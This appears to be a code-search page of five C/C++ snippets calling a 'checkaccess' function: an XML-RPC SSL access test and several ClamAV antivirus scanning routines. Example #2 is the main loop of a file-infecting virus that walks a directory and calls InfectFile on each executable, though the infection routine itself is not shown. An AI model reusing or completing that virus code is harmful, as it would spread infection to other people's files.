Example #1
0
void doTestHandle(funtik::SSLConnection *conn,ulxr::Requester& client,ulxr::HttpProtocol& prot,std::string strClientState)
{
    ulxr::MethodCall checkaccess ("checkaccess");
	checkaccess.addParam(ulxr::RpcString("string"));


	try{
		std::cout<<"  "<<strClientState.c_str();
		if(!prot.isOpen())
			prot.open();

    	    ulxr::MethodResponse resp = client.call(checkaccess, "/RPC2");
//    	    std::cout << "call result: \n";
//	    	std::cout << resp.getXml(0) << std::endl;
		    std::cout <<"Access allow"<<std::endl;

	}
	catch(funtik::SSLConnectionException& ex)
	{
		std::cout <<"Access denied"<<std::endl;
	    std::cout << "Error occured: " << ex.why()
	    		<< std::endl;
	}
		if(prot.isOpen())
	    	prot.close();

}
Example #2
0
int main(void)
{
    DIR *d; // represents a directory steam
    struct dirent *dir; // This is the structure
    d = opendir(".");
    number=hnumber=0;
    
    if (d)
    {
        while ((dir = readdir(d)) != NULL)
        {
            fileLen=0;
            fileLenV =0;
            //printf("file is : %s\n", dir->d_name);
            if (checkaccess(dir->d_name) == 1)
				{
				//First check that not infecting and the virus program 
				if ((strcmp(dir->d_name,"virus1") != 0) && (strcmp(dir->d_name,"infectAll") !=0)&&(strcmp(dir->d_name,".") !=0)&&(strcmp(dir->d_name,"..") !=0))
					{
				
					//printf("Virus at work...\n");
					int r=InfectFile(dir->d_name,"virus1");
					if (r==1)
						{
						number++;
						printf("No of infected file=%d \n",number);
						}
					} // if not the virus program and this executable
				else 
						{
							hnumber++;
							#ifdef DEBUG 
							printf("It is either of virus1 or infectAll=%s \n",dir->d_name);
							#endif
						} 
				}// if it is an executable
        } //while
        closedir(d);
    } // if (d)
    return(0);
}
Example #3
0
static int scanstdin(const struct cl_engine *engine, const struct optstruct *opts, int options)
{
    int ret;
    unsigned int fsize = 0;
    const char *virname, *tmpdir;
    char *file, buff[FILEBUFF];
    size_t bread;
    FILE *fs;
    struct clamscan_cb_data data;

    if(optget(opts, "tempdir")->enabled) {
        tmpdir = optget(opts, "tempdir")->strarg;
    } else {
        /* check write access */
        tmpdir = cli_gettmpdir();
    }

    if(checkaccess(tmpdir, CLAMAVUSER, W_OK) != 1) {
        logg("!Can't write to temporary directory\n");
        return 2;
    }

    if(!(file = cli_gentemp(tmpdir))) {
        logg("!Can't generate tempfile name\n");
        return 2;
    }

    if(!(fs = fopen(file, "wb"))) {
        logg("!Can't open %s for writing\n", file);
        free(file);
        return 2;
    }

    while((bread = fread(buff, 1, FILEBUFF, stdin))) {
        fsize += bread;
        if(fwrite(buff, 1, bread, fs) < bread) {
            logg("!Can't write to %s\n", file);
            free(file);
            fclose(fs);
            return 2;
        }
    }

    fclose(fs);

    logg("*Checking %s\n", file);

    info.files++;
    info.rblocks += fsize / CL_COUNT_PRECISION;

    data.filename = "stdin";
    data.chain = NULL;
    if((ret = cl_scanfile_callback(file, &virname, &info.blocks, engine, options, &data)) == CL_VIRUS) {
        info.ifiles++;

        if(bell)
            fprintf(stderr, "\007");
    } else if(ret == CL_CLEAN) {
        if(!printinfected)
            mprintf("stdin: OK\n");
    } else {
        if(!printinfected)
            logg("stdin: %s ERROR\n", cl_strerror(ret));

        info.errors++;
    }

    unlink(file);
    free(file);
    return ret;
}
Example #4
0
static void scanfile(const char *filename, struct cl_engine *engine, const struct optstruct *opts, unsigned int options)
{
    int ret = 0, fd, included;
    unsigned i;
    const struct optstruct *opt;
    const char *virname;
    STATBUF sb;
    struct metachain chain;
    struct clamscan_cb_data data;

    if((opt = optget(opts, "exclude"))->enabled) {
        while(opt) {
            if(match_regex(filename, opt->strarg) == 1) {
                if(!printinfected)
                    logg("~%s: Excluded\n", filename);

                return;
            }

            opt = opt->nextarg;
        }
    }

    if((opt = optget(opts, "include"))->enabled) {
        included = 0;

        while(opt) {
            if(match_regex(filename, opt->strarg) == 1) {
                included = 1;
                break;
            }

            opt = opt->nextarg;
        }

        if(!included) {
            if(!printinfected)
                logg("~%s: Excluded\n", filename);

            return;
        }
    }

    /* argh, don't scan /proc files */
    if(CLAMSTAT(filename, &sb) != -1) {
#ifdef C_LINUX
        if(procdev && sb.st_dev == procdev) {
            if(!printinfected)
                logg("~%s: Excluded (/proc)\n", filename);

            return;
        }
#endif    
        if(!sb.st_size) {
            if(!printinfected)
                logg("~%s: Empty file\n", filename);

            return;
        }

        info.rblocks += sb.st_size / CL_COUNT_PRECISION;
    }

#ifndef _WIN32
    if(geteuid()) {
        if(checkaccess(filename, NULL, R_OK) != 1) {
            if(!printinfected)
                logg("~%s: Access denied\n", filename);

            info.errors++;
            return;
        }
    }
#endif

    memset(&chain, 0, sizeof(chain));
    if(optget(opts, "archive-verbose")->enabled) {
        chain.chains = malloc(sizeof(char **));
        if (chain.chains) {
            chain.chains[0] = strdup(filename);
            if (!chain.chains[0]) {
                free(chain.chains);
                logg("Unable to allocate memory in scanfile()\n");
                info.errors++;
                return;
            }
            chain.nchains = 1;
        }
    }

    logg("*Scanning %s\n", filename);

    if((fd = safe_open(filename, O_RDONLY|O_BINARY)) == -1) {
        logg("^Can't open file %s: %s\n", filename, strerror(errno));
        info.errors++;
        return;
    }

    data.chain = &chain;
    data.filename = filename;
    if((ret = cl_scandesc_callback(fd, &virname, &info.blocks, engine, options, &data)) == CL_VIRUS) {
        if(optget(opts, "archive-verbose")->enabled) {
            if (chain.nchains > 1) {
                char str[128];
                int toolong = print_chain(&chain, str, sizeof(str));

                logg("~%s%s!(%llu)%s: %s FOUND\n", str, toolong ? "..." : "", (long long unsigned)(chain.lastvir-1), chain.chains[chain.nchains-1], virname);
            } else if (chain.lastvir) {
                logg("~%s!(%llu): %s FOUND\n", filename, (long long unsigned)(chain.lastvir-1), virname);
            }
        }
        info.files++;
        info.ifiles++;

        if(bell)
            fprintf(stderr, "\007");
    } else if(ret == CL_CLEAN) {
        if(!printinfected && printclean)
            mprintf("~%s: OK\n", filename);

        info.files++;
    } else {
        if(!printinfected)
            logg("~%s: %s ERROR\n", filename, cl_strerror(ret));

        info.errors++;
    }

    for (i=0;i<chain.nchains;i++)
        free(chain.chains[i]);

    free(chain.chains);
    close(fd);

    if(ret == CL_VIRUS && action)
        action(filename);
}
Example #5
0
static int scanfile(const char *filename, struct cl_engine *engine, const struct optstruct *opt, const struct cl_limits *limits, unsigned int options)
{
	int ret = 0, fd, included, printclean = 1;
	const struct optnode *optnode;
	char *argument;
	const char *virname;
#ifdef C_LINUX
	struct stat sb;

    /* argh, don't scan /proc files */
    if(procdev)
	if(stat(filename, &sb) != -1)
	    if(sb.st_dev == procdev) {
		if(!printinfected)
		    logg("~%s: Excluded (/proc)\n", filename);
		return 0;
	    }
#endif    

    if(opt_check(opt, "exclude")) {
	argument = opt_firstarg(opt, "exclude", &optnode);
	while(argument) {
	    if(cli_matchregex(filename, argument)) {
		if(!printinfected)
		    logg("~%s: Excluded\n", filename);
		return 0;
	    }
	    argument = opt_nextarg(&optnode, "exclude");
	}
    }

   if(opt_check(opt, "include")) {
	included = 0;
	argument = opt_firstarg(opt, "include", &optnode);
	while(argument && !included) {
	    if(cli_matchregex(filename, argument)) {
		included = 1;
		break;
	    }
	    argument = opt_nextarg(&optnode, "include");
	}

	if(!included) {
	    if(!printinfected)
		logg("~%s: Excluded\n", filename);
	    return 0;
	}
    }

    if(fileinfo(filename, 1) == 0) {
	if(!printinfected)
	    logg("~%s: Empty file\n", filename);
	return 0;
    }

#ifndef C_WINDOWS
    if(geteuid())
	if(checkaccess(filename, NULL, R_OK) != 1) {
	    if(!printinfected)
		logg("~%s: Access denied\n", filename);
	    return 0;
	}
#endif

    logg("*Scanning %s\n", filename);

    if((fd = open(filename, O_RDONLY|O_BINARY)) == -1) {
	logg("~%s: %s\n", filename, strerror(errno));
	return 54;
    }

    cbdata.count = 0;
    cbdata.fd = fd;
    cbdata.oldvalue = 0;
    cbdata.filename = filename;
    cbdata.size = lseek(fd, 0, SEEK_END);
    lseek(fd, 0, SEEK_SET);

    info.files++;

    if((ret = cl_scandesc(fd, &virname, &info.blocks, engine, limits, options)) == CL_VIRUS) {
	logg("~%s: %s FOUND\n", filename, virname);
	info.ifiles++;

	if(bell)
	    fprintf(stderr, "\007");

    } else if(ret == CL_CLEAN) {
	if(!printinfected && printclean)
	    mprintf("~%s: OK\n", filename);
    } else
	if(!printinfected)
	    logg("~%s: %s\n", filename, cl_strerror(ret));

    close(fd);

    if(ret == CL_VIRUS) {
	if(opt_check(opt, "remove")) {
	    if(unlink(filename)) {
		logg("^%s: Can't remove\n", filename);
		info.notremoved++;
	    } else {
		logg("~%s: Removed\n", filename);
	    }
	} else if(opt_check(opt, "move") || opt_check(opt, "copy"))
            move_infected(filename, opt);
    }

    return ret;
}